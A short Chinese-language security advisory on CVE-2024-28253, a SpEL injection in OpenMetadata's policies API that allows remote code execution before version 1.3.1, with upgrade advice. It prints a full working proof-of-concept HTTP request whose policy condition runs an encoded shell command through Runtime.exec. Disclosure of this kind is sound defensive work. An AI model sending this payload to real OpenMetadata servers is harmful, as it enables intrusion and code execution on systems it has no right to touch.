【漏洞通告】OpenMetadata SEPL注入漏洞 (CVE-2024-28253)

漏洞详情:

OpenMetadata是一个统一的发现、可观察和治理平台，由中央元数据存储库、深入的沿袭和无缝团队协作提供支持,OpenMetadata 1.3.1之前版本存在安全漏洞，该漏洞源于PUT /api/v1/policies中存在SpEL注入漏洞，攻击者可利用该漏洞执行远程代码。

PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367

{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}

修复方案:

官方已经发布了修复补丁,请立即更新到安全版本:

OpenMetadata>= 1.3.1

下载链接:
https://github.com/open-metadata/OpenMetadata/releases

原文始发于微信公众号（飓风网络安全）：【漏洞通告】OpenMetadata SEPL注入漏洞 (CVE-2024-28253)